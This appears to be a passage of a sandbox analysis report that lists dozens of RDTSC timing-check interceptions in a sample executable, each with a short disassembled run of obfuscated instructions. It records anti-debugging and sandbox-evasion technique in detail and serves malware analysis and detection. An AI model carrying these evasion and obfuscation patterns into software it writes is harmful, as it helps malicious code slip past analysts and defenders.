Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131228D second address: 13122AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xor dword ptr [esp], 6AAF3940h 0x0000000c sub dword ptr [ebp+122D1D12h], esi 0x00000012 clc 0x00000013 push C0973DB7h 0x00000018 push eax 0x00000019 push edx 0x0000001a jnp 00007F60C078F3D8h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1312E6A second address: 1312EA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 push edi 0x0000000a jbe 00007F60C0F47636h 0x00000010 pop edi 0x00000011 pop esi 0x00000012 xchg eax, ebx 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F60C0F47638h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1C8Ch], esi 0x00000033 push eax 0x00000034 push ecx 0x00000035 push ecx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13130D3 second address: 13130DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F60C078F3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313376 second address: 131337B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131337B second address: 1313399 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F60C078F3E4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313399 second address: 131339E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1313470 second address: 1313477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131428E second address: 1314298 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F60C0F47636h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1314B75 second address: 1314B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315F30 second address: 1315F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315F35 second address: 1315FC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jng 00007F60C078F3EFh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F60C078F3D8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov dword ptr [ebp+122D29FDh], edx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007F60C078F3D8h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 0000001Bh 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e mov esi, dword ptr [ebp+122D396Ch] 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F60C078F3E3h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315FC9 second address: 1315FCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1315FCF second address: 1315FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C078F3E5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1316A11 second address: 1316A16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318954 second address: 131895A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131A399 second address: 131A39F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131C579 second address: 131C58E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F60C078F3DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131C58E second address: 131C5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007F60C0F47638h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 jmp 00007F60C0F4763Ah 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D2BDEh], esi 0x0000002e push 00000000h 0x00000030 call 00007F60C0F4763Ch 0x00000035 mov dword ptr [ebp+12477A01h], ecx 0x0000003b pop ebx 0x0000003c xchg eax, esi 0x0000003d pushad 0x0000003e pushad 0x0000003f jmp 00007F60C0F47644h 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131C5F8 second address: 131C60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F60C078F3DAh 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D590 second address: 131D613 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F60C0F47636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jbe 00007F60C0F47636h 0x00000013 popad 0x00000014 popad 0x00000015 nop 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F60C0F47638h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+12458104h], ebx 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007F60C0F47638h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 00000017h 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 jc 00007F60C0F4763Eh 0x0000005a jns 00007F60C0F47638h 0x00000060 cld 0x00000061 stc 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F60C0F47645h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131C768 second address: 131C772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F60C078F3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E666 second address: 131E66A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E66A second address: 131E670 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E670 second address: 131E676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D7CE second address: 131D7E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E676 second address: 131E683 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E683 second address: 131E6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F60C078F3D8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000017h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 push edi 0x00000024 push ecx 0x00000025 mov ebx, 1043E091h 0x0000002a pop edi 0x0000002b pop edi 0x0000002c push 00000000h 0x0000002e movzx edi, si 0x00000031 push 00000000h 0x00000033 mov dword ptr [ebp+122D2111h], esi 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E6C8 second address: 131E6CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E6CC second address: 131E6D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F5FE second address: 131F685 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F60C0F47636h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 popad 0x00000014 push edx 0x00000015 jg 00007F60C0F47636h 0x0000001b pop edx 0x0000001c popad 0x0000001d nop 0x0000001e mov dword ptr [ebp+122D2A0Ah], ebx 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F60C0F47638h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 mov ebx, dword ptr [ebp+122D38B0h] 0x00000046 push 00000000h 0x00000048 jmp 00007F60C0F47649h 0x0000004d push eax 0x0000004e pushad 0x0000004f push esi 0x00000050 jmp 00007F60C0F47649h 0x00000055 pop esi 0x00000056 push eax 0x00000057 push edx 0x00000058 push edx 0x00000059 pop edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E819 second address: 131E81D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131F7FE second address: 131F81C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F60C0F47644h 0x00000008 jmp 00007F60C0F4763Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1320790 second address: 1320796 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132579A second address: 13257A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13239EA second address: 13239EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1325E4D second address: 1325E5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F60C0F47638h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0E9D second address: 12D0EA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0EA3 second address: 12D0EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12D0EAA second address: 12D0EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13296EB second address: 13296F5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F60C0F47636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13296F5 second address: 13296FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C5CB second address: 132C5D1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C6C6 second address: 132C6CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C6CA second address: 132C6D0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C7FC second address: 132C800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132C800 second address: 132C80A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F71F second address: 132F735 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F735 second address: 132F73F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C1E61 second address: 12C1E89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C078F3E0h 0x00000007 push ebx 0x00000008 ja 00007F60C078F3D6h 0x0000000e pop ebx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 js 00007F60C078F3F8h 0x00000017 push eax 0x00000018 push edx 0x00000019 push esi 0x0000001a pop esi 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334361 second address: 133437E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F47649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133437E second address: 1334384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334384 second address: 1334388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334388 second address: 1334396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334396 second address: 13343A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F60C0F47636h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1337FE3 second address: 1337FE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338129 second address: 133813E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C0F47641h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133813E second address: 1338142 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133DE81 second address: 133DE85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1341BEA second address: 1341BEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342128 second address: 134214D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F60C0F47649h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134214D second address: 1342151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342790 second address: 1342798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342798 second address: 13427B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007F60C078F3E8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134290E second address: 1342912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342A81 second address: 1342A86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342A86 second address: 1342A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1342A8F second address: 1342A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF316 second address: 12CF31A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF31A second address: 12CF31E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF31E second address: 12CF327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF327 second address: 12CF32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF32D second address: 12CF33A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF33A second address: 12CF33E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF33E second address: 12CF381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C0F4763Dh 0x00000007 jmp 00007F60C0F4763Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F60C0F47647h 0x00000016 jne 00007F60C0F47636h 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF381 second address: 12CF395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c jnp 00007F60C078F3D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13488D7 second address: 13488DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13488DB second address: 13488DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13488DF second address: 13488E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13488E5 second address: 13488F6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F60C078F3DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13488F6 second address: 1348925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F60C0F47644h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F60C0F47640h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1348925 second address: 134892B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CCC0 second address: 134CCD7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007F60C0F47642h 0x0000000f jnp 00007F60C0F47636h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CCD7 second address: 134CCE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CCE1 second address: 134CCED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CCED second address: 134CCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D99D second address: 134D9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D9A3 second address: 134D9A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134D9A7 second address: 134D9AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134DC88 second address: 134DC94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134DC94 second address: 134DC9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
